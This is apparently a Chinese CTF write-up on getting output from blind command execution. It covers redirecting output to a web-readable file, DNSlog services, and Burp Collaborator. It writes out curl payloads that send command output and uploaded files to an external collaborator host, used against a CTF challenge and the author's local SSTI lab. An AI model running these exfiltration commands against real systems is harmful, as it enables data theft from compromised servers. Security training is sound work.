命令无回显怎么搞
1.管道符利用
2021年工业互联网杭州省赛web题,就是命令执行无回显,当时很懵逼,然后火狐找包,发现response处存在post=cmd,这时候就有了思路,当时以为只需要在web端post处,输入cmd=ls 就会执行命令,并且有回显,尝试了很多都是没有回显,以为有过滤,不停的尝试,就是不行,当时都要崩溃了
换了一种思路 能不能利用管道符 ls > 1.txt,一看卧槽,有效果,cat /flag > 1.txt中 ,拿到flag
向管道符这种其实有很多缺点,python JiaJa2模板注入,向python直接按路由走的,不走中间件的,php它是走中间件的,可以通过web去访问1.txt,如果php也不走中间件也是访问不了1.txt
2.dnslog方式
dnslog方式:也是经常出现在无回显sql注入,无回显ssrf,无回显命令执行
dnslog网站
http://ceye.io/records/http
http://www.dnslog.cn/
dnslog也有很多缺点比如
curl id
.x5foxb.ceye.io 不行
curl x5foxb.ceye.io/id
可以
比如去读取一个文件,只能读取部分字符
3.Burp Suite
Burp Suite Collaborator Client功能比dnslog还要强大
这里需要点击copy to clipboard,会自动复制一段url地址,也就是我们dnslog地址
389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net #这是我的url地址
因为这边我在本地做的是python ssti模板注入 JinJa2,过滤{{ }}时,我在本地虚拟机kali做服务端,真实机做客户端,对服务端进行攻击,涉及到盲注,我就想着能不能用 curl 命令读取到服务端的文件内容,因为平时dnslog获取时,可能获取不了很长的一段字符串
Burp主要能读取文件内容,这就是我们需要的
curl -X POST -F xx=@bs.py 389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net
执行命令 $(id) === id
curl $(id).389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net
curl `id`.389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net
curl 389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net/`ls`
curl 389r59xtbk15zhcuz0f0omv9h0nrbg.burpcollaborator.net/$(id|base64)
我都是参考以下网址
https://www.cnblogs.com/hello-py/articles/13385679.html
https://www.cnblogs.com/cwkiller/p/12091736.html
http://www.admintony.com/%E6%97%A0%E5%9B%9E%E6%98%BE%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95.html